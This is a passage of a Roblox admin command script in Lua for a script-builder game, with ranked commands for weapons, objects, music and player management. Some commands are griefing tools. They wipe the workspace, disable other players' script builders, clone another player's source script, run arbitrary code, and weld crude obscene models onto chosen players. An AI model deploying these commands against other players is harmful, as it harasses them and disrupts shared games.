- NewLS(Wizard, v.Backpack)
- NewLS(YamatoSword, v.Backpack)
- NewLS(Test2, v.Backpack)
- NewLS(Shoop, v.Backpack)
- NewLS(SoulCrushingKarate, v.Backpack)
- Output("Gave "..v.Name.." Shadow Kit", Speaker, 5)
- end)
- end
- end
- else
- Output("Your not allowed to use this kit", Speaker)
- return
- end
- end)
- Command("Ys", 7, "Gives a player YamatoSword", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS(YamatoSword, v.Backpack)
- Output("Gave "..v.Name.." yamato sword", Speaker, 5)
- end)
- end
- end
- end)
- Command("Apb", 7, "Gives a player Armatae Path Bringer", function(Msg, Speaker)
- if Speaker.Name == "Cobalt1164" or Speaker.Name == "hipow12" or Speaker.Name == "Cobalt11644" then
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS(Test2, v.Backpack)
- Output("Gave "..v.Name.." Armatae Path Bringer", Speaker, 5)
- end)
- end
- end
- else
- Output("Sorry,This is a test weapon you're not allowed to use this.", Speaker)
- return
- end
- end)
- Command("Sdw", 7, "Gives a player Shoop da whoop", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS(Shoop, v.Backpack)
- Output("Gave "..v.Name.." shoop da whoop", Speaker, 5)
- end)
- end
- end
- end)
- Command("Sck", 7, "Gives a player Soul Crushing Karate", function(Msg, Speaker)
- if Speaker.Name == "Cobalt1164" or Speaker.Name == "hipow12" or Speaker.Name == "Cobalt11644" then
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS(SoulCrushingKarate, v.Backpack)
- Output("Gave "..v.Name.." Soul Karate", Speaker, 5)
- end)
- end
- end
- else
- Output("You are not allowed to use this weapon", Speaker, 5)
- return
- end
- end)
- Command("Kar", 4, "Gives a player Karate Skills", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS(Karate, v.Backpack)
- Output("Gave "..v.Name.." Karate skills", Speaker, 5)
- end)
- end
- end
- end)
- Command("Connect", 7, "Nil Connect", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS(NilConnect, v.Backpack)
- Output("Connected "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Music", 7, "Creates music from an ID", function(Msg, Speaker)
- ypcall(function()
- game.Workspace["Sound"]:Remove()
- end)
- MU = Instance.new("Sound", game.Workspace)
- MU.SoundId = "http://www.roblox.com/asset/?id="..Msg
- MU.Volume = 1
- MU.Looped = true
- MU:Play()
- Output("Launched Music ID :"..Msg, Speaker, 5)
- end)
- Command("Podium", 2, "Gives a player a podium", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- local MainColor = Color3.new(0,0,0)
- local SeccondaryColor = Color3.new(0.69,0.13,0.13)
- local Main = Instance.new("Model",workspace) Main.Name = "Podium"
- local MainCFrame = v.Character.Torso.CFrame
- * CFrame.new(0,-4,0)
- + v.Character.Torso.CFrame.lookVector*3
- local SeccondaryCFrame = v.Character.Torso.CFrame
- * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
- + v.Character.Torso.CFrame.lookVector*3
- if CFrame == nil then return end
- coroutine.resume(coroutine.create(function()
- for i=1,25 do
- wait()
- local Step = Instance.new("Part",Main)
- Step.FormFactor = "Custom"
- Step.Name = "Step"
- Step.Anchored = true
- Step.Locked = true
- Step.Reflectance = 0
- Step.TopSurface = "Smooth"
- Step.BottomSurface = "Smooth"
- Step.BrickColor = BrickColor.new(SeccondaryColor)
- Step.Size = Vector3.new(6,1,3)
- Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
- Instance.new("BlockMesh",Step)
- local Carpet = Instance.new("Part",Main)
- Carpet.FormFactor = "Custom"
- Carpet.Name = "Carpet"
- Carpet.Anchored = true
- Carpet.Locked = true
- Carpet.Reflectance = 0
- Carpet.TopSurface = "Smooth"
- Carpet.BottomSurface = "Smooth"
- Carpet.BrickColor = BrickColor.new(MainColor)
- Carpet.Size = Vector3.new(4,1,3.2)
- Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
- Instance.new("BlockMesh",Carpet)
- end
- local MainCirc = Instance.new("Part",Main)
- MainCirc.FormFactor = "Custom"
- MainCirc.Name = "MainCirc"
- MainCirc.Anchored = true
- MainCirc.Locked = true
- MainCirc.Reflectance = 0
- MainCirc.TopSurface = "Smooth"
- MainCirc.BottomSurface = "Smooth"
- MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
- MainCirc.Size = Vector3.new(20,1,20)
- MainCirc.CFrame = SeccondaryCFrame
- Instance.new("CylinderMesh",MainCirc)
- local SeccondaryCirc = Instance.new("Part",Main)
- SeccondaryCirc.FormFactor = "Custom"
- SeccondaryCirc.Name = "SeccondaryCirc"
- SeccondaryCirc.Anchored = true
- SeccondaryCirc.Locked = true
- SeccondaryCirc.Reflectance = 0
- SeccondaryCirc.TopSurface = "Smooth"
- SeccondaryCirc.BottomSurface = "Smooth"
- SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
- SeccondaryCirc.Size = Vector3.new(18,1,18)
- SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
- Instance.new("CylinderMesh",SeccondaryCirc)
- for i=1,math.floor(360/6) do
- local Spike = Instance.new("Part",Main)
- Spike.FormFactor = "Custom"
- Spike.Name = "Spike"
- Spike.Anchored = true
- Spike.Locked = true
- Spike.Reflectance = 0
- Spike.TopSurface = "Smooth"
- Spike.BottomSurface = "Smooth"
- Spike.BrickColor = BrickColor.new(MainColor)
- Spike.Size = Vector3.new(1,7,1)
- Spike.CFrame = SeccondaryCFrame
- * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
- * CFrame.new(7,-7,0)
- Torch = Instance.new("Part",Main)
- Torch.Reflectance = 1e+999
- Torch.FormFactor = "Custom"
- Torch.Shape = "Ball"
- Torch.Anchored = true
- Torch.Locked = true
- Torch.Size = Vector3.new(2,2,2)
- Torch.CFrame = Spike.CFrame
- * CFrame.new(0,3.5,0)
- * CFrame.Angles(0,0,0)
- Instance.new("Fire",Torch)
- end
- end))
- end)
- end
- end
- Output("Gave "..v.Name.." Podium", Speaker,nil)
- end)
- Command("Fcam", 1, "Fixes a player's camera", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.CameraMode = "Classic"
- NewLS([[game.Workspace.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid
- game.Workspace.CurrentCamera.CameraType = "Custom"
- ]], v.Backpack)
- Output("Fixed "..v.Name.."'s Camera", Speaker,nil)
- end)
- end
- end
- end)
- Command("Bd", 3, "Gives a player a big stick", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- person=v.Name
- color = "Pastel brown"
- pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
- D = Instance.new("Model",workspace[person])
- D.Name = "Nice thing"
- bg = Instance.new("BodyGyro",workspace[person].Torso)
- d = Instance.new("Part")
- d.TopSurface = 0
- d.BottomSurface = 0
- d.Name = "Main"
- d.Parent = workspace[person]["Nice thing"]
- d.formFactor = 3
- d.Size = Vector3.new(0.6*2 ,2.5*2 ,0.6*2 )
- d.BrickColor = BrickColor.new(color)
- d.Position = workspace[person].Head.Position
- d.CanCollide = false
- local cy = Instance.new("CylinderMesh")
- cy.Parent = d
- w = Instance.new("Weld")
- w.Parent = workspace[person].Head
- w.Part0 = d
- w.Part1 = workspace[person].Head
- w.C0 = CFrame.new(0,0.25 ,2.1 )*CFrame.Angles(math.rad(45),0,0)
- local c = Instance.new("Part")
- c.Name = "Mush"
- c.BottomSurface = 0
- c.TopSurface = 0
- c.FormFactor = 3
- c.Size = Vector3.new(0.6*2 ,0.6*2 ,0.6*2 )
- c.CFrame = CFrame.new(d.Position)
- c.BrickColor = BrickColor.new("Pink")
- c.CanCollide = false
- c.Parent = workspace[person]["Nice thing"]
- local msm = Instance.new("SpecialMesh")
- msm.Parent = c
- msm.MeshType = "Sphere"
- local cw = Instance.new("Weld")
- cw.Parent = c
- cw.Part0 = d
- cw.Part1 = c
- cw.C0 = CFrame.new(0,2.6 ,0)
- local ball1 = Instance.new("Part")
- ball1.Parent = workspace[person]["Nice thing"]
- ball1.Name = "Left Ball"
- ball1.BottomSurface = 0
- ball1.TopSurface = 0
- ball1.CanCollide = false
- ball1.formFactor = 3
- ball1.Size = Vector3.new(1*2 ,1*2 ,1*2 )
- ball1.CFrame = CFrame.new(workspace[person]["Left Leg"].Position)
- ball1.BrickColor = BrickColor.new(color)
- local bsm = Instance.new("SpecialMesh")
- bsm.Parent = ball1
- bsm.MeshType = "Sphere"
- local b1w = Instance.new("Weld")
- b1w.Parent = ball1
- b1w.Part0 = workspace[person]["Left Leg"]
- b1w.Part1 = ball1
- b1w.C0 = CFrame.new(0,0.5 ,-.5 )
- local ball2 = Instance.new("Part")
- ball2.Parent = workspace[person]["Nice thing"]
- ball2.Name = "Right Ball"
- ball2.BottomSurface = 0
- ball2.CanCollide = false
- ball2.TopSurface = 0
- ball2.formFactor = 3
- ball2.Size = Vector3.new(1*2 ,1*2 ,1*2 )
- ball2.CFrame = CFrame.new(workspace[person]["Right Leg"].Position)
- ball2.BrickColor = BrickColor.new(color)
- local b2sm = Instance.new("SpecialMesh")
- b2sm.Parent = ball2
- b2sm.MeshType = "Sphere"
- local b2w = Instance.new("Weld")
- b2w.Parent = ball2
- b2w.Part0 = workspace[person]["Right Leg"]
- b2w.Part1 = ball2
- b2w.C0 = CFrame.new(0,0.5,-.5)
- Output("Gave "..v.Name.." a big stick", Speaker,nil)
- end)
- end
- end
- end)
- Command("Tree", 3, "Trees a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- if v.Character:findFirstChild("Torso") == nil then return end
- local treet = Instance.new("Part", workspace)
- treet.Size = Vector3.new(4, 20, 4)
- treet.Anchored = true
- treet.Locked = true
- treet.BrickColor = BrickColor.new("Reddish brown")
- treet.CFrame = v.Character.Torso.CFrame * CFrame.new(0, -13, 0)
- local treetop = Instance.new("Part", workspace)
- treetop.BrickColor = BrickColor.new("Earth green")
- treetop.TopSurface = "Smooth"
- treetop.BottomSurface = "Smooth"
- treetop.Size = Vector3.new(13, 13, 13)
- treetop.Anchored = true
- treetop.Shape = "Ball"
- treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0)
- v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.new(0, 5, 0)
- coroutine.resume(coroutine.create(function()
- for i = 1, 200 do
- wait()
- if treet ~= nil then
- if treetop ~= nil then
- treet.CFrame = treet.CFrame * CFrame.new(0 ,0.1, 0)
- treetop.CFrame = treetop.CFrame * CFrame.new(0 ,0.1, 0)
- end
- end
- end
- end))
- Output("Treed "..v.Name, Speaker,nil)
- end)
- end
- end
- end)
- Command("Sd", 3, "Gives a player a small stick", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- person=v.Name
- color = "Pastel brown"
- pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
- D = Instance.new("Model",workspace[person])
- D.Name = "Nice thing"
- bg = Instance.new("BodyGyro",workspace[person].Torso)
- d = Instance.new("Part")
- d.TopSurface = 0
- d.BottomSurface = 0
- d.Name = "Main"
- d.Parent = workspace[person]["Nice thing"]
- d.formFactor = 3
- d.Size = Vector3.new(0.6/2 ,2.5 ,0.6/2 )
- d.BrickColor = BrickColor.new(color)
- d.Position = workspace[person].Head.Position
- d.CanCollide = false
- local cy = Instance.new("CylinderMesh")
- cy.Parent = d
- w = Instance.new("Weld")
- w.Parent = workspace[person].Head
- w.Part0 = d
- w.Part1 = workspace[person].Head
- w.C0 = CFrame.new(0,0.25 ,2.1 )*CFrame.Angles(math.rad(45),0,0)
- local c = Instance.new("Part")
- c.Name = "Mush"
- c.BottomSurface = 0
- c.TopSurface = 0
- c.FormFactor = 3
- c.Size = Vector3.new(0.6/2 ,0.6/2 ,0.6/2 )
- c.CFrame = CFrame.new(d.Position)
- c.BrickColor = BrickColor.new("Pink")
- c.CanCollide = false
- c.Parent = workspace[person]["Nice thing"]
- local msm = Instance.new("SpecialMesh")
- msm.Parent = c
- msm.MeshType = "Sphere"
- local cw = Instance.new("Weld")
- cw.Parent = c
- cw.Part0 = d
- cw.Part1 = c
- cw.C0 = CFrame.new(0,1.3 ,0)
- local ball1 = Instance.new("Part")
- ball1.Parent = workspace[person]["Nice thing"]
- ball1.Name = "Left Ball"
- ball1.BottomSurface = 0
- ball1.TopSurface = 0
- ball1.CanCollide = false
- ball1.formFactor = 3
- ball1.Size = Vector3.new(1 ,1 ,1 )
- ball1.CFrame = CFrame.new(workspace[person]["Left Leg"].Position*2)
- ball1.BrickColor = BrickColor.new(color)
- local bsm = Instance.new("SpecialMesh")
- bsm.Parent = ball1
- bsm.MeshType = "Sphere"
- local b1w = Instance.new("Weld")
- b1w.Parent = ball1
- b1w.Part0 = workspace[person]["Left Leg"]
- b1w.Part1 = ball1
- b1w.C0 = CFrame.new(0,0.5 ,-.5 )
- local ball2 = Instance.new("Part")
- ball2.Parent = workspace[person]["Nice thing"]
- ball2.Name = "Right Ball"
- ball2.BottomSurface = 0
- ball2.CanCollide = false
- ball2.TopSurface = 0
- ball2.formFactor = 3
- ball2.Size = Vector3.new(1 ,1 ,1 )
- ball2.CFrame = CFrame.new(workspace[person]["Right Leg"].Position*2)
- ball2.BrickColor = BrickColor.new(color)
- local b2sm = Instance.new("SpecialMesh")
- b2sm.Parent = ball2
- b2sm.MeshType = "Sphere"
- local b2w = Instance.new("Weld")
- b2w.Parent = ball2
- b2w.Part0 = workspace[person]["Right Leg"]
- b2w.Part1 = ball2
- b2w.C0 = CFrame.new(0,0.5,-.5)
- Output("Gave "..v.Name.." a small stick", Speaker,nil)
- end)
- end
- end
- end)
- Command("Forest", 5, "Creates a forest", function(Msg, Speaker)
- local tmodel = Instance.new("Model", workspace)
- for i = 1, 3000 do
- local treet = Instance.new("Part", tmodel)
- treet.Size = Vector3.new(4, 20, 4)
- treet.Anchored = true
- treet.Locked = true
- treet.BrickColor = BrickColor.new("Reddish brown")
- treet.CFrame = CFrame.new(math.random(-500, 500), math.random(-5, 10), math.random(-500, 500))
- local treetop = Instance.new("Part", tmodel)
- treetop.BrickColor = BrickColor.new("Earth green")
- treetop.TopSurface = "Smooth"
- treetop.BottomSurface = "Smooth"
- treetop.Size = Vector3.new(13, 13, 13)
- treetop.Anchored = true
- treetop.Shape = "Ball"
- treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0)
- end
- Output("Created a forest", Speaker,nil)
- end)
- Command("G", 1, "Get something? idk", function(Msg, Speaker)
- if Msg == "r" then
- Speaker:LoadCharacter()
- elseif Msg == "rj" then
- NewLS([[game:service'TeleportService':Teleport(game.PlaceId)]],Speaker.Character)
- elseif Msg == "c" then
- NewS([[
- for _,v in pairs(game.Workspace:GetChildren()) do
- if v.Name ~= "Terrain" then
- v:Destroy()
- end
- end
- ]],game.Workspace)
- a = Instance.new("Part")
- a.Parent = game.Workspace
- a.Name = "Base"
- a.Position = Vector3.new(0, 0.6, 0)
- a.Size = Vector3.new(1002, 0, 1002)
- a.Material = "Grass"
- a.Anchored = true
- a.BrickColor = BrickColor.new("Earth green")
- NewS([[
- for _,v in pairs(game.Players:GetChildren()) do
- v:LoadCharacter()
- end
- ]], game.Workspace)
- end
- game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100)
- game.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
- game.Lighting.Ambient = Color3.new(1, 1, 1)
- game.Lighting.Brightness = 1
- game.Lighting.TimeOfDay = "11:00:00"
- game.Lighting.FogEnd = 99999999
- game.Workspace.Base.Transparency = 0
- game.Workspace.Base.BrickColor = BrickColor.new("Earth green")
- game.Workspace.Base.Locked = true
- game.Workspace.Base.Anchored = true
- t = game.Teams:GetChildren()
- for i = 1, #t do
- if t[i]:IsA("Team") then
- t[i]: Destroy()
- end
- end
- l = game.Lighting:GetChildren()
- for i = 1, #l do
- if l[i]:IsA("Sky") then
- l[i]: Destroy()
- end
- end
- g = game.Workspace:GetChildren()
- for i = 1, #g do
- if g[i]:IsA("Part") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Script") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("StringValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("IntValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BoolValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("NumberValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("ObjectValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("RayValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Sound") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Accoutrement") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BrickColorValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Motor") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("MotorFeature") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Color3Value") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BindableEvent") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BindableFunction") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("LocalScript") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Model") and not game.Players:GetPlayerFromCharacter(g[i]) and g[i].Name ~= "fasdfasdf" then
- g[i]: Remove()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Hint") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Truss") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Tool") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("HopperBin") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Fire") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Explosion") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Hat") then
- g[i]: Destroy()
- end
- end
- p = Instance.new("Part")
- p.Parent, p.Size, p.Anchored, p.Locked, p.BrickColor, p.Name = Workspace, Vector3.new(600, 1, 600), true, true,
- BrickColor.new("Earth green"), "Base" p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
- while true do wait()
- for i = 1, #g do
- if g[i]:IsA("Message") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Hint") then
- g[i]: Destroy()
- end
- end
- end
- end)
- Command("Jungle", 5, "Creates a jungle", function(Msg, Speaker)
- local tmodel = Instance.new("Model", workspace)
- for i = 1, 5000 do
- local treet = Instance.new("Part", tmodel)
- treet.Size = Vector3.new(4, 20, 4)
- treet.Anchored = true
- treet.Locked = true
- treet.BrickColor = BrickColor.new("Reddish brown")
- treet.CFrame = CFrame.new(math.random(-500, 500), math.random(-5, 10), math.random(-500, 500))
- local treetop = Instance.new("Part", tmodel)
- treetop.BrickColor = BrickColor.new("Earth green")
- treetop.TopSurface = "Smooth"
- treetop.BottomSurface = "Smooth"
- treetop.Size = Vector3.new(13, 13, 13)
- treetop.Anchored = true
- treetop.Shape = "Ball"
- treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0)
- end
- Output("Created a jungle", Speaker,nil)
- end)
- Command("Menu", 3, "Brings Up Admin Menu", function(Msg, Speaker)
- Dismiss(Speaker)
- Menu(Speaker)
- end)
- Command("FA", 1, "Shows a list of creator's favorite animes", function(Msg, Speaker)
- Dismiss(Speaker)
- Output("Kanokon", Speaker, nil, nil, Database.Colors.Orange, "rbxassetid://162502378")
- Output("Bleach", Speaker, nil, nil, Database.Colors.PinkRed, "rbxassetid://150668617")
- Output("Sword Art Online", Speaker, nil, nil, Database.Colors.Black, "rbxassetid://129964814")
- Output("Claymore", Speaker, nil, nil, Database.Colors.Grey, "rbxassetid://50802941")
- Output("Full Metal Alchemy", Speaker, nil, nil, Database.AdvancedColors.CustomPurple, "rbxassetid://100859526")
- Output("Attack on Titan", Speaker, nil, nil, Database.Colors.Blue, "rbxassetid://122579277")
- end)
- Command("Cred", 1, "Credits", function(Msg, Speaker)
- Dismiss(Speaker)
- Output("MasterKelvinVIP", Speaker, nil, nil, Database.Colors.Pink, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP")
- Output("Cobalt1164", Speaker, nil, nil, Database.Colors.Purple, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=Cobalt1164")
- Output("Optiplex123", Speaker, nil, nil, Database.Colors.Yellow, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=optiplex123")
- Output("Aleksa12432", Speaker, nil, nil, Database.Colors.Blue, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=aleksa12432")
- Output("Flipflop8421", Speaker, nil, nil, Database.Colors.Green, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=flipflop8421")
- Output("Waitex", Speaker, nil, nil, Database.Colors.Red, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=W8X")
- end)
- Command("Dsb", 7, "Disables everyone's SB", function(Msg, Speaker)
- Dismiss(Speaker)
- NewS(ReSB, game.Workspace)
- Output("Disabled everyone's SB",Speaker,nil)
- end)
- Command("Plrs", 1, "Brings up the players selection", function(Msg, Speaker)
- ListPlayers(Speaker,Msg~="debug")
- end)
- Command("Exe", 5, "Executes a script", function(Msg, Speaker)
- local Func,Error = loadstring(Msg)
- getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Output(Rtn, Speaker) end
- getfenv(Func).Speaker = Speaker
- if Error == nil then
- coroutine.wrap(function()
- Func()
- end)()
- Output("Command Executed", Speaker, 5)
- else
- Output(Error, Speaker, 10)
- end
- end)
- Command("Ping", 1, "Pings a message", function(Msg, Speaker)
- Output(Msg, Speaker)
- end)
- Command("Ping2", 1, "Pings a Teal message", function(Msg, Speaker)
- Output(Msg, Speaker,nil,nil,Database.Colors.Aqua)
- end)
- Command("Ping3", 1, "Pings a Lime message", function(Msg, Speaker)
- Output(Msg, Speaker,nil,nil,Database.Colors.Green)
- end)
- Command("Ping4", 1, "Pings a Yellow message", function(Msg, Speaker)
- Output(Msg, Speaker,nil,nil,Database.Colors.Yellow)
- end)
- Command("Ping5", 1, "Pings a Magenta message", function(Msg, Speaker)
- Output(Msg, Speaker,nil,nil,Database.Colors.CustomMagenta)
- end)
- Command("Ping6", 1, "Pings a PinkRed message", function(Msg, Speaker)
- Output(Msg, Speaker,nil,nil,Database.Colors.PinkRed)
- end)
- Command("Ping7", 1, "Pings a Blue message", function(Msg, Speaker)
- Output(Msg, Speaker,nil,nil,Database.Colors.Blue)
- end)
- Command("Ping8", 1, "Pings a Red message", function(Msg, Speaker)
- Output(Msg, Speaker,nil,nil,Database.Colors.Red)
- end)
- Command("Ping9", 1, "Pings a Red message", function(Msg, Speaker)
- Output(Msg, Speaker,nil,nil,Database.AdvancedColors.Random)
- end)
- Command("Test", 1, "Tests if the admin is working", function(Msg, Speaker)
- Dismiss(Speaker)
- ypcall(function()
- Output("Still works",Speaker,5)
- end)
- end)
- Command("Setrank", 7, "Set's a players rank", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Rank = tonumber(Msg:sub(Split + 1))
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- if v.Name ~= Owner then
- ChangeRank(v, Rank)
- Output("Changed "..v.Name.."'s rank to "..tostring(Rank), Speaker, 5)
- end
- end
- end
- end)
- Command("FilterAdd", 7, "Adds a word to crash words table", function(Msg, Speaker)
- table.insert(CrashWords, tostring(Msg))
- end)
- Command("TpToPlace", 7, "Teleports a player to a place", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Id = tonumber(Msg:sub(Split + 1))
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- if v.Name ~= Owner then
- game:service'TeleportService':Teleport(Id,v.Character)
- Output("Teleported "..v.Name.." to place Id :"..tonumber(Id), Speaker, 5)
- end
- end
- end
- end)
- Command("Hat", 7, "Loads a hat to a player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Id = tonumber(Msg:sub(Split + 1))
- local Insert3 = game:service'InsertService':LoadAsset(tonumber(Id))
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- if v.Name ~= Owner then
- if Insert3:IsA("Hat") then
- Insert3.Parent = v.Character
- if Insert3:IsA("Model") then
- Insert3.Parent = v.Character
- end
- end
- end
- end
- end
- end)
- Command("Gear", 7, "Loads a gear to a player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Id = tonumber(Msg:sub(Split + 1))
- local Insert4 = game:service'InsertService':LoadAsset(tonumber(Id))
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- if v.Name ~= Owner then
- if Insert4:IsA("Tool") then
- Insert4.Parent = v.Backpack
- if Insert4:IsA("Model"):GetChildren():IsA("Tool") then
- Insert4:GetChildren():IsA("Tool").Parent = v.Backpack
- end
- end
- end
- end
- end
- end)
- Command("GetInfo", 1, "Gets a player's information", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker,Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- Output("Name: "..v.Name, Speaker)
- Output("Age: "..v.AccountAge, Speaker)
- Output("Id: "..v.userId, Speaker)
- Output("DataComplexity: "..v.DataComplexity, Speaker)
- Output("NameDisplayDistance: "..v.NameDisplayDistance, Speaker)
- Output("HealthDisplayDistance: "..v.HealthDisplayDistance, Speaker)
- Output("Character: "..v.Character.Name, Speaker)
- Output("Camera Max: "..v.CameraMaxZoomDistance, Speaker)
- Output("Camera Min: "..v.CameraMinZoomDistance, Speaker)
- Output("Character Appearance: "..v.CharacterAppearance, Speaker)
- Output("Clan Tag: "..v.ClanTag, Speaker)
- end
- end
- end)
- Command("LoadM", 7, "Loads a model into workspace", function(Msg, Speaker)
- local Insert = game:service'InsertService':LoadAsset(tonumber(Id))
- if Insert:IsA("Model") then
- Insert.Parent = game.Workspace
- if Insert:IsA("Part") then
- Insert.Parent = game.Workspace
- if Insert:IsA("Script") then
- Insert:Remove()
- end
- end
- end
- end)
- Command("LoadS", 7, "Loads a script into workspace", function(Msg, Speaker)
- local Insert2 = game:service'InsertService':LoadAsset(tonumber(Id))
- if Insert2:IsA("Model") then
- Insert2:Remove()
- if Insert2:IsA("Part") then
- Insert2:Remove()
- if Insert2:IsA("Script") then
- Insert2.Parent = game.Workspace
- if Insert2:IsA("LocalScript") then
- Insert2.Parent = game.Workspace
- if Insert2:IsA("ModuleScript") then
- Insert2:Remove()
- end
- end
- end
- end
- end
- end)
- Command("Bod", 7, "Adds a brick of death", function(Msg, Speaker)
- local br = Instance.new("Part", game.Workspace)
- br.Locked = true
- br.Touched:connect(function(part)
- local bo = Instance.new("Explosion", part)
- bo.Position = part.Position
- bo.BlastRadius = 40
- end)
- end)
- Command("Rbod", 7, "Repeatidily creates brick of deaths.", function(Msg, Speaker)
- repeat
- wait(2)
- local br = Instance.new("Part", game.Workspace)
- br.Locked = true
- br.Touched:connect(function(part)
- local bo = Instance.new("Explosion", br)
- bo.Position = br.Position
- bo.BlastRadius = 40
- end)
- wait(2)
- until
- game:GetService("Lighting").FogEnd == 1
- end)
- Command("CheckSource", 1, "Checks Source", function(Msg, Speaker)
- Dismiss()
- Output("Source Name: "..SourceName, Speaker, 5)
- end
- )
- Command("FSource", 7, "Finds the source of the script builder", function(Msg,Speaker)
- coroutine.wrap(function()
- while wait() do
- if LSource ~= nil then break end
- if SourceName == "source" then break end
- for _,v in pairs(game.Players:players()) do
- if LSource ~= nil then break end
- pcall(function()
- for j,k in pairs(v.Backpack:children()) do
- if LSource ~= nil then break end
- if k.ClassName == 'LocalScript' then
- if k:findFirstChild(SourceName) ~= nil then
- k.Archivable = true
- LSource = k:Clone()
- LSource.Disabled = true
